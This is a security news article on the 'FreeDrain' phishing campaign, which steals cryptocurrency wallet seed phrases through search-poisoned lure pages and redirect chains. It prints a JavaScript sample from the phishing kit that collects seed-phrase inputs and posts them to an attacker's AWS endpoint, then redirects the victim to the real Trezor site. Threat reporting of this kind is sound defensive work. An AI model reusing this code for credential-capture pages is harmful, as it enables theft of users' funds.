FreeDrain Phishing Attack Users to Steal Users Financial Login Credentials

A sprawling phishing operation dubbed “FreeDrain” has emerged as an industrial-scale cryptocurrency theft network that systematically targets and drains digital wallets.

This sophisticated campaign leverages search engine manipulation and free-tier web hosting services to create an extensive web of malicious sites that appear legitimate to unsuspecting users searching for cryptocurrency wallet information.

The attack begins when users search for wallet-related queries such as “Trezor wallet balance” or “Ledger Live” on major search engines.

Victims click on high-ranking malicious results, often appearing on the first page of search results, and land on seemingly helpful pages.

These initial lure pages-typically a single large image of a legitimate wallet interface-redirect users through a series of hops before eventually reaching a phishing page designed to steal wallet seed phrases.

SentinelOne researchers, in collaboration with Validin, recently unveiled the full scope of this operation at PIVOTcon 2025, identifying over 38,000 distinct FreeDrain subdomains hosting lure pages.

Their investigation began after a distressed victim reported losing approximately 8 BTC (worth around $500,000) after entering their seed phrase on a fake Trezor wallet site.

“FreeDrain represents a modern blueprint for scalable phishing operations,” noted Tom Hegel, Principal Threat Researcher at SentinelOne.

“What makes this campaign particularly effective is its ability to thrive on free-tier platforms, evade traditional abuse detection, and adapt rapidly to infrastructure takedowns.”

The Infection Chain: A Multi-Stage Deception

The technical sophistication of FreeDrain lies in its multi-layered approach. When a victim clicks a malicious search result hosted on platforms like gitbook.io or webflow.io, they encounter a page displaying a screenshot of a legitimate wallet interface.

Clicking this image triggers a series of redirects through algorithmically generated domains like “shotheatsgnovel.com” or “bildherrywation.com” before landing on the final phishing page.

The actual credential theft occurs through unobfuscated JavaScript that sends the victim’s seed phrase to attacker-controlled endpoints.

A sample of the exfiltration code reveals its straightforward yet effective approach:-

const data = {};
inputs.forEach((input, index) => {
    data['phrase${index}'] = input.value.trim();
});
data. Subject = "Trezor connect2";
data.message = "Successfull fetch data";
$.ajax({
    type: "POST",
    url: "https://rfhwuwixxi.execute-api.us-east-1.amazonaws[.]com/pro",
    datatype: "json",
    crossDomain: true,
    contentType: "application/json; charset=utf-8",
    data: JSON.stringify(data),
    success: function (result) {
        window.location.href = 'https://suite.trezor.io/web/';
    },
    error: function (xhr, status, error) {
        window.location.href = 'https://suite.trezor.io/web/';
    }
});

This code sends the captured seed phrase to an AWS API Gateway endpoint before redirecting the victim to the legitimate wallet site, leaving them unaware their credentials have been compromised until their funds disappear.

Analysis of FreeDrain’s infrastructure revealed that the operation is likely run by individuals based in the UTC+05:30 timezone (Indian Standard Time), working standard business hours with clear weekday patterns and midday breaks-suggesting a structured, professional operation rather than opportunistic attacks.

Are you from the SOC and DFIR Teams? – Analyse Real time Malware Incidents with ANY.RUN -> Start Now for Free.